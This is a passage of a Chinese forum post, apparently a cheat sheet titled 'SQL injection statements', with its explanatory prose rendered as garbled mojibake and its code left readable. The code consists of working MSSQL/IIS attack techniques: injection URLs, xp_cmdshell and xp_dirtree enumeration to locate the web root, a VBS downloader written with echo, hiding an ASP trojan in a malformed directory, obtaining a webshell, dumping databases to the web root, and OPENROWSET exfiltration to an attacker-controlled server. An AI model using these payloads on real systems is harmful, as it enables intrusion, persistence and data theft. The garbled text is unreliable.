¿´Óï¾äµÄ·µ»Ø½á¹û£¬Èç¹ûÎªÕæ£¬±íʾWEB¸ùĿ¼ÓпÉÄÜÔÚ´ËÅÌÉÏ£¬ÎªÁ˽øÒ»²½È·ÈÏ£¬¶à²âÊÔ¼¸¸ö×ÓĿ¼£º
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

Èç¹ûËùÓеIJâÊÔ½á¹û¶¼ÎªÕ棬±íʾWEB¸ùĿ¼ºÜÓпÉÄÜÔÚ´ËÅÌÉÏ¡£

ÏÂÃæ¼ÙÉèÕÒµ½µÄWEB¸ùĿ¼ÔÚ´ËÅÌÉÏ£¬ÓÃÒÔϵÄÓï¾äÀ´»ñµÃÒ»¼¶×ÓĿ¼µÄÉî¶È£º
and (select depth from temp where dir='user')>=Êý×Ö(Êý×Ö=1¡¢2¡¢3...)

¼ÙÉèµÃµ½µÄdepthÊÇ3,˵Ã÷userĿ¼ÊÇDÅ̵Ä3¼¶Ä¿Â¼£¬ÔòWEB¸ùĿ¼ÊÇDÅ̵Ķþ¼¶Ä¿Â¼¡£

ĿǰÎÒÃÇÒѾ­ÖªµÀÁ˸ùĿ¼ËùÔÚµÄÅÌ·ûºÍÉî¶È£¬ÒªÕÒµ½¸ùĿ¼µÄ¾ßÌåλÖã¬ÎÒÃÇÀ´´ÓDÅ̸ùĿ¼¿ªÊ¼ÖðÒ»ËÑѰ£¬µ±È»£¬Ã»ÓбØÒªÖªµÀÿ¸öĿ¼µÄÃû³Æ£¬·ñÔòÌ«ºÄ·Ñʱ¼äÁË¡£

½ÓÏÂÀ´£¬ÁíÍ⽨Á¢Ò»¸öÁÙʱ±í£¬ÓÃÀ´´æ·ÅDÅ̵Ä1¼¶×ÓĿ¼ÏµÄËùÓÐĿ¼£¬Óï¾äÈçÏ£º

;create table temp1(dir nvarchar(255),depth varchar(255));--

È»ºó°Ñ´ÓDÅ̵ĵÚÒ»¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp1ÖУ¬Óï¾äÈçÏ£º
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
µ±È»Ò²¿ÉÒÔ°ÑDÅ̵ĵڶþ¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp1ÖУ¬Ö»Ðè°ÑµÚ¶þ¸ötop 1¸ÄΪtop 2¾ÍÐÐÁË¡£

ÏÖÔÚ£¬temp1ÖÐÒѾ­±£´æÁËËùÓÐDÅ̵ÚÒ»¼¶×ÓĿ¼ÏµÄËùÓÐĿ¼,È»ºó£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨À´ÅжϸùĿ¼ÊÇ·ñÔÚ´ËÒ»¼¶×ÓĿ¼Ï£º
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
Èç¹û·µ»ØÎªÕ棬±íʾ¸ùĿ¼¿ÉÄÜÔÚ´Ë×ÓĿ¼Ï£¬¼ÇסҪ¶à²âÊÔ¼¸¸öÀý×Ó£¬Èç¹û¶¼·µ»ØÎª¼Ù£¬Ôò±íÃ÷WEB¸ùĿ¼²»ÔÚ´ËĿ¼Ï£¬È»ºóÎÒÃÇÔÚÓÃͬÑùµÄ·½·¨À´»ñµÃDÅ̵Ú2¡¢3...¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼ÁÐ±í£¬À´ÅжÏWEB¸ùĿ¼ÊÇ·ñÔÚÆäÏ¡£µ«ÊÇ£¬Òª×¢Ò⣬ÓÃxp_dirtreeǰһ¶¨Òª°Ñtemp1±íÖеÄÄÚÈÝɾ³ý¡£

ÏÖÔÚ¼ÙÉ裬WEB¸ùĿ¼ÔÚDÅ̵ĵÚÒ»¼¶×ÓĿ¼Ï£¬¸Ã×ÓĿ¼Ãû³ÆÎªwebsite,ÔõÑù»ñµÃÕâ¸öĿ¼µÄÃû³ÆÎÒÏë²»ÓÃÎÒ˵Á˰ɡ£ÒòÎªÇ°ÃæÎÒÃÇÖªµÀÁËWEB¸ùĿ¼µÄÉî¶ÈΪ2£¬ÎÒÃÇÐèÒªÖªµÀwebsiteϵ½µ×Äĸö²ÅÊÇÕæÕýµÄWEB¸ùĿ¼¡£

ÏÖÔÚ£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨£¬ÔÙ½¨Á¢µÚ3¸öÁÙʱ±í£º
;create table temp2(dir nvarchar(255),depth varchar(255));--

È»ºó°Ñ´ÓDÅ̵ÄwebsiteϵÄËùÓÐĿ¼´æµ½temp2ÖУ¬Óï¾äÈçÏ£º
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
µ±È»Ò²¿ÉÒÔ°ÑDÅ̵Äwebsiteϵڶþ¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp2ÖУ¬Ö»Ðè°ÑµÚ¶þ¸ötop 1¸ÄΪtop 2¾ÍÐÐÁË¡£

ÏÖÔÚ£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨ÅжϸÃĿ¼ÊÇ·ñΪ¸ùĿ¼£º
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
Èç¹û·µ»ØÎªÕ棬ΪÁËÈ·¶¨ÎÒÃǵÄÅжϣ¬¶à²âÊÔ¼¸¸öÀý×Ó£¬·½·¨ÉÏÃæ¶¼½²µ½ÁË£¬Èç¹û¶à¸öÀý×Ó¶¼·µ»ØÎªÕ棬ÄÇô¾ÍÈ·¶¨Á˸ÃĿ¼ΪWEB¸ùĿ¼¡£


ÓÃÒÔÉϵķ½·¨»ù±¾ÉÏ¿ÉÒÔ»ñµÃWEB¸ùĿ¼£¬ÏÖÔÚÎÒÃǼÙÉèWEB¸ùĿ¼ÊÇ£ºD:\website\www
È»ºó£¬ÎÒÃǾͿÉÒÔ±¸·Ýµ±Ç°Êý¾Ý¿âµ½Õâ¸öĿ¼ÏÂÓÃÀ´ÏÂÔØ¡£±¸·ÝǰÎÒÃǰÑtemp¡¢temp1¡¢temp2µÄÄÚÈÝÇå¿Õ£¬È»ºóC¡¢D¡¢EÅ̵ÄĿ¼Ê÷·Ö±ð´æµ½temp¡¢temp1¡¢temp2ÖС£

ÏÂÔØÍêÊý¾Ý¿âºóÒª¼ÇµÃ°ÑÈý¸öÁÙʱ±ídropµô£¬ÏÖÔÚÎÒÃÇÔÚÏÂÔØµÄÊý¾Ý¿âÖпÉÒÔÕÒµ½ËùÓеÄĿ¼ÁÐ±í£¬°üÀ¨ºǫ́¹ÜÀíµÄĿ¼ÒÔ¼°¸ü¶àÐÅÏ¢¡£

28¡¢win2000Ͻ«WEBÓû§ÌáÉýΪϵͳÓû§È¨ÏÞ£¬ÐèÒªÓйÜÀíÔ±µÄȨÏÞ²ÅÄÜÖ´ÐУº
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

²é¿´ÊÇ·ñ³É¹¦£º
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
°æÈ¨ËùÓÐ(C) Microsoft Corporation 1996-2001¡£±£ÁôËùÓÐȨÀû¡£
inprocessisapiapps       : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

29¡¢ÈçºÎÒþ²ØASPľÂí£º
½¨Á¢·Ç±ê׼Ŀ¼£ºmkdir images..\
¿½±´ASPľÂíÖÁĿ¼£ºcopy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
ͨ¹ýweb·ÃÎÊASPľÂí£ºhttp://ip/images../news.asp?action=login
ÈçºÎɾ³ý·Ç±ê׼Ŀ¼£ºrmdir images..\ /s

30¡¢È¥µôtenlnetµÄntlmÈÏÖ¤£º
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'¡ª

31¡¢ÓÃechoдÈëÎļþÏÂÔØ½Å±¾iget.vbs:
(1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp


32¡¢ÊÖ¹¤½¨Á¢IISÒþ²ØÄ¿Â¼µÄ·½·¨£º
²é¿´±¾µØÐéÄâĿ¼ÁÐ±í£ºcscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
н¨Ò»¸ökissĿ¼£ºmkdir c:\asp\kiss
½¨Á¢kissÐéÄâĿ¼£ºcscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"   
ΪkissĿ¼¼ÓÖ´ÐкÍдȨÏÞ£º
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
·ÃÎÊ£ºhttp://127.0.0.1/kiss/test.asp

33¡¢Ê¹ÓÃopenrowset()Á¬»Ø±¾µØ×ö²âÊÔ£º
select a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM ..') AS a

select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM ..')

34¡¢»ñµÃÖ÷»úÃû£º
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

35¡¢»ñµÃÊý¾Ý¿âÓû§Ãû£º
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

36¡¢ÆÕͨÓû§»ñµÃWEBSHELLµÄ·½·¨Ö®¶þ£º
´ò°ü£º
EXEC .. 'c:\test.rar','default',1,'d:\cmd.asp'
½â°ü£¬¿ÉÒÔÓÃÓڵõ½webshell£º
EXEC .. 'C:\test.rar','c:',1, 'n.asp'
¶ÁÈÎÒâÎļþÄÚÈÝ£¬ÒªÇóÓÐmasterµÄdboȨÏÞ£º
EXEC .. 1,'c:\cmd.asp'

37¡¢sa ȨÏÞÏÂÒÑÖªweb·¾¶Ö±½Ó±¸·ÝÊý¾Ý¿âµ½web·¾¶ÏÂ

http://www.XXXX.com/FullStory.asp?id=1;backuup database Êý¾Ý¿âÃû to disk='c:\inetpub\wwwroot\save.db' Ôò°ÑµÃµ½µÄÊý¾ÝÄÚÈÝÈ«²¿±¸·Ýµ½WEBĿ¼Ï£¬ÔÙÓÃHTTP°Ñ´ËÎļþÏÂÔØ(µ±È»Ê×ѡҪ֪µÀWEBÐéÄâĿ¼)¡£

±éÀúϵͳµÄĿ¼½á¹¹£¬·ÖÎö½á¹û²¢·¢ÏÖWEBÐéÄâĿ¼£¬ÏÈ´´½¨Ò»¸öÁÙʱ±í£ºtemp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
½ÓÏÂÀ´£ºÎÒÃÇ¿ÉÒÔÀûÓÃxp_availablemediaÀ´»ñµÃµ±Ç°ËùÓÐÇý¶¯Æ÷,²¢´æÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
ÎÒÃÇ¿ÉÒÔͨ¹ý²éѯtempµÄÄÚÈÝÀ´»ñµÃÇý¶¯Æ÷ÁÐ±í¼°Ïà¹ØÐÅÏ¢»òÕßÀûÓÃxp_subdirs»ñµÃ×ÓĿ¼Áбí,²¢´æÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
ÎÒÃÇ»¹¿ÉÒÔÀûÓÃxp_dirtree»ñµÃËùÓÐ×ÓĿ¼µÄĿ¼Ê÷½á¹¹,²¢´çÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- ÕâÑù¾Í¿ÉÒԳɹ¦µÄä¯ÀÀµ½ËùÓеÄĿ¼£¨Îļþ¼Ð£©Áбí
Èç¹ûÎÒÃÇÐèÒª²é¿´Ä³¸öÎļþµÄÄÚÈÝ£¬¿ÉÒÔͨ¹ýÖ´ÐÐxp_cmdsell£º;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
ʹÓÃ'bulk insert'Óï·¨¿ÉÒÔ½«Ò»¸öÎı¾Îļþ²åÈëµ½Ò»¸öÁÙʱ±íÖС£È磺bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   ä¯ÀÀtemp¾Í¿ÉÒÔ¿´µ½index.aspÎļþµÄÄÚÈÝÁË£¡Í¨¹ý·ÖÎö¸÷ÖÖASPÎļþ£¬¿ÉÒԵõ½´óÁ¿ÏµÍ³ÐÅÏ¢£¬WEB½¨ÉèÓë¹ÜÀíÐÅÏ¢£¬ÉõÖÁ¿ÉÒԵõ½SAÕʺŵÄÁ¬½ÓÃÜÂë¡£

38¡¢Ò»Ð©sqlÖеÄÀ©Õ¹´æ´¢µÄ×ܽá:
xp_availablemedia ÏÔʾϵͳÉÏ¿ÉÓõÄÅÌ·û'C:\' xp_availablemedia
xp_enumgroups Áгöµ±Ç°ÏµÍ³µÄʹÓÃȺ×é¼°Æä˵Ã÷ xp_enumgroups
xp_enumdsn ÁгöϵͳÉÏÒѾ­ÉèÖúõÄODBCÊý¾ÝÔ´Ãû³Æ xp_enumdsn
xp_dirtree ÏÔʾij¸öĿ¼ÏµÄ×ÓĿ¼ÓëÎļþ¼Ü¹¹ xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails »ñȡijÎļþµÄÏà¹ØÊôÐÔ xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab ½«Ä¿±ê¼ÆËã»ú¶à¸öµµ°¸Ñ¹Ëõµ½Ä³¸öµµ°¸ÀïËùѹËõµÄµµ°¸¶¼¿ÉÒÔ½ÓÔÚ²ÎÊýµÄºóÃæÓö¹ºÅ¸ô¿ª dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab ½âѹËõ xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains Áгö·þÎñÆ÷ÓòÃû xp_ntsec_enumdomains
xp_servicecontrol Í£Ö¹»òÕ߯ô¶¯Ä³¸ö·þÎñ xp_servicecontrol 'stop','schedule'
xp_terminate_process ÓÃpidÀ´Í£Ö¹Ä³¸öÖ´ÐÐÖеijÌÐò xp_terminate_process 123
dbo.xp_subdirs Ö»ÁÐij¸öĿ¼ÏµÄ×ÓĿ¼ dbo.xp_subdirs 'C:\'

39¡¢
USE MASTER
GO
create proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
    end
/* create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
    exec(@postcommand)
return @retval
GO


/*
1¡£»ñµÃËùÓеĴ洢¹ý³ÌµÄ½Å±¾£º
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2¡£»ñµÃËùÓеÄÊÓͼµÄ½Å±¾£º
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

40¡¢DB_OWNERȨÏÞϵÄÊý¾Ý¿â±¸·Ý·½·¨
ÓÃopenrowset°É¡£·´Á¬µ½×Ô¼ºµÄÊý¾Ý¿â»úÆ÷£¬~ÏÈÔÚ±¾µØ½¨¸ö¸úÄ¿±ê»úÆ÷Ò»Ñù½á¹¹µÄ±í~×Ö¶ÎÀàÐÍʹÓÃnvarchar.È»ºóÓú£ÑóÁ¬½Ó¶Ô·½µÄSQLÊý¾Ý¿â£¬ÔÚ²éѯ·ÖÎöÄÇÀïÖ´ÐÐ
insert into OPENROWSET ('sqloledb','server=ÄãÊý¾Ý¿â·þÎñÆ÷µÄIP;uid=user;pwd=pass;database=dbname;','select * from Ä㽨Á¢µÄ±í) select * from ¶Ô·½µÄ±í¡ª
ÒªÊÇÊý¾ÝÁ¿Ì«´óµÄ»°¾Í¿´¿´ËûÊý¾Ý¿âÀïÓÐûÓÐ×Ô¶¯±àºÅµÄ×Ö¶Î.select * from ±íÃû where id>100
ÕâÑùÀ´Åª°É
ÒªÊǺÍWEB̨ͬµÄ»°£¬Ö±½Ó½«¿âBAKµ½WEBĿ¼Ï»ØÀ´¾ÍOKÀ²¡£¡£¡£²»¹ýǰÌá¿â²»ÄÜÌ«´ó£¬³¬¹ý2GµÄ»°SQL¾Í³¬Ê±ÁË
Èç¹ûÊÇSAȨÏÞ¿ÉÒÔÀûÓÃÏÂÃæµÄÁ½¸öASP³ÌÐòÀ´±¸·ÝÊý¾Ý¿â£º²É·ÉÑïASP±¸·ÝMSSQLÊý¾Ý¿â³ÌÐò



Ò³: [1]
²é¿´ÍêÕû°æ±¾: SQL×¢ÈëÓï¾ä